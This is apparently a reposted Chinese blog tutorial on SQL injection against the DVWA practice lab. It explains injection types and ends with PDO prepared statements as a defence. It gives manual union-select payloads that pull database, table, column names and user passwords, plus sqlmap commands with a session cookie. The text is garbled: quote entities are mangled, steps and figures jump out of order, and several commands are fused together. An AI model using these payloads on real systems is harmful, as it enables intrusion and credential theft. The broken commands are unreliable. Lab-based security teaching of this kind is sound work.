sql注入演示网站源码分享?sql注入超详细原理教程

这篇文章给大家聊聊关于sql注入演示网站源码分享,以及sql注入超详细原理教程对应的知识点,希望对各位有所帮助,不要忘了收藏本站哦。

SQL注入概述

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。SQL注入一般按照注入方式可以分为普通注入和盲注。普通注入就是注入的页面是直接显示数据库中的字段内容的,我们可以通过SQL注入一步一步把数据库中我们想要的内容显示在页面中。而盲注则要困难很多,页面并没有直接显示数据库字段内容,显示的可能只是一个判断结果(是或者否),页面只能告诉你你构造的SQL语句对还是错,你要查询的内容存在还是不存在。这种情况下,我们只能全部靠猜。更有甚者,连是否的结果都不显示,我们可能还需要通过返回数据的延迟来判断是否猜对。SQL注入按照注入的数据类型还可以分为数字型注入和字符型注入。SQL注入一般都需要利用Web站点现有的查询语句。当现有的查询语句Where筛选条件匹配的字段是数值类型,那么就是数字型注入;如果匹配的字段是字符类型,那么就是字符型注入。一般字符型注入需要构造单引号用于闭合语法,还需要加入注释符使原本的单引号无效。另外,SQL注入按照提交参数方式,还可以分为GET方式注入、POST方式注入等等。

Low级别SQL注入实战

●手工注入

1、设置安全级别为Low后,点击SQLInjection进入SQL注入练习页面。首先在文本框随便输入一个ID号,发现可以返回用户信息。同时发现URL中出现了提交的参数信息,说明该页面提交方式为GET,如图1。

图1

2、在文本框中输入1‘,发现页面报错,说明单引号被执行,存在SQL注入漏洞,并从报错信息中得知该站点的数据库为MySQL,如图2,图3。

图2

图3

3、在文本框中输入1and1=1和1and1=2,都能返回数据,说明可能注入漏洞不是数字型,如图4,图5。

图4

图5

4、在文本框输入1&,可以返回数据,输入1&,没有数据返回,说明注入成功,确认漏洞为字符型,如图6,图7。

图6

图7

5、在文本框输入1&39;orderby2,有数据返回,输入1&39;and1=2unionselect1,239;and1=2unionselectdatabase(),239;and1=2unionselect1,group_concat(table_name)frominformation_schema.tableswheretable_schema=database()39;and1=2unionselect1,group_concat(column_name)frominformation_schema.columnswheretable_name=&39;39;and1=2unionselectuser,passwordfromusers34;http://192.168.75.100/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit34;–cookie&39;–dbs,可以自动探测出当前数据库名,如图19。

图19

4、使用SQLMap命令sqlmap-u&&39;security=low;PHPSESSID=ni3gsltihh60r1q50tiu45l8p3&34;http://192.168.75.100/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit34;–cookie&39;-Ddvwa-Tusers–column,可以自动探测出users表中的所有字段名,如图21。

图21

6、使用SQLMap命令sqlmap-u&&39;security=low;PHPSESSID=ni3gsltihh60r1q50tiu45l8p3&39;单引号,并点击Forward按钮,浏览器报错,发现同样存在SQL注入漏洞,如图27,图28。

图27

图28

5、再次随意选择ID值,在Burpsuite拦截的包中id=1后加上and1=1,可以返回数据,加上and1=2,没有数据返回,确认SQL注入点为数字型,如图29,图30,图31,图32。

图29

图30

图31

图32

6、再次拦截数据包,加入and1=2unionselect1,2,确认页面中Firstname处显示的是记录集中第一个字段,Surname处显示的是记录集中第二个字段,如图33,图34。

图33

图34

7、查询数据库名、表名方法与Low级别思路一致,只不过不需要单引号和39;users&39;,发现页面报错,但是报错内容被替换,无法得知数据库类型,如图47。

图47

4、在文本框中输入1’and1=1,没有返回数据,说明仍存在SQL注入漏洞,并确认漏洞为字符型,如图48,图49。

图48

图49

5、后续注入步骤与Low级别思路一致,不再赘述。

Impossible级别SQL注入

设置安全级别为Impossible,查看SQL注入页面源码,发现使用了PDO技术,几乎彻底杜绝了SQL注入,如图50。

图50

PDO是PHPDataObjects(PHP数据对象)的缩写。是在PHP5.1版本之后开始支持的技术。不使用PDO技术时,SQL语句是先在本地拼接完成后,再传递至数据库处理,所以会导致用户提交有猫腻的变量来改变原SQL语句的结构,从而实现SQL注入;使用PDO技术后,是先把SQL语句的整体语法,匹配的参数用?当做占位符一起发送至数据库,然后再把用户提交的查询参数发送至数据库,由数据库来完成变量的转移处理。将SQL语句的整体语法结构和变量分开两次传递至数据库,从而导致那些有猫腻的变量无法再改变SQL语句的原始结构。这种情况下,SQL注入攻击几乎无法实现。这也是目前比较有效的防御SQL注入攻击的方法之一

OK,本文到此结束,希望对大家有所帮助。

Published by

风君子

独自遨游何稽首 揭天掀地慰生平